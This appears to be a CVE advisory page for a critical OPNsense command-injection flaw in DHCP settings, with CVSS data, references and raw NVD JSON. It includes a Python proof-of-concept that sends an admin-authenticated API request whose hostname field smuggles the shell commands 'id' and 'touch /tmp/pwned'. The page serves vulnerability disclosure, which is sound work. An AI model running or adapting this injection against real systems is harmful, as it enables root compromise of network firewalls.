CVE-2026-45158

Description

OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.8, unsanitized user input is passed to the DHCP configuration of the configured interface, which is processed by a shell script, allowing remote code execution as root on the underlying operating system. This vulnerability is fixed in 26.1.8.

CVSS Details

CVSS Score

9.1

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

OPNsense < 26.1.8

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL configuration endpoint
url = "https://<target-ip>/api/interfaces/dhcpd/settings"

# Credentials with high privileges (PR:H)
auth = ('admin', 'admin_password')

# Headers
headers = {
    'Content-Type': 'application/json',
    'User-Agent': 'Mozilla/5.0'
}

# Malicious payload injected into a DHCP field
# Payload attempts to execute 'id' and 'touch /tmp/pwned'
payload = {
    "hostname": "normal`; id; touch /tmp/pwned; #",
    "enable": "1"
}

try:
    # Send POST request to trigger the vulnerability
    response = requests.post(url, json=payload, headers=headers, auth=auth, verify=False)
    
    if response.status_code == 200:
        print("[*] Payload sent successfully.")
        print("[*] Check if the file /tmp/pwned was created.")
    else:
        print(f"[!] Request failed with status code: {response.status_code}")
        print(response.text)
        
except Exception as e:
    print(f"[!] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-45158
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-45158
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-45158/
[4] VulDB https://vuldb.com/cve/CVE-2026-45158
[5] https://github.com/opnsense/core/security/advisories/GHSA-5rx3-w735-74wm

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-45158", "sourceIdentifier": "[email protected]", "published": "2026-05-13T22:16:46.363", "lastModified": "2026-05-14T18:14:17.893", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.8, unsanitized user input is passed to the DHCP configuration of the configured interface, which is processed by a shell script, allowing remote code execution as root on the underlying operating system. This vulnerability is fixed in 26.1.8."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-88"}]}], "references": [{"url": "https://github.com/opnsense/core/security/advisories/GHSA-5rx3-w735-74wm", "source": "[email protected]"}]}}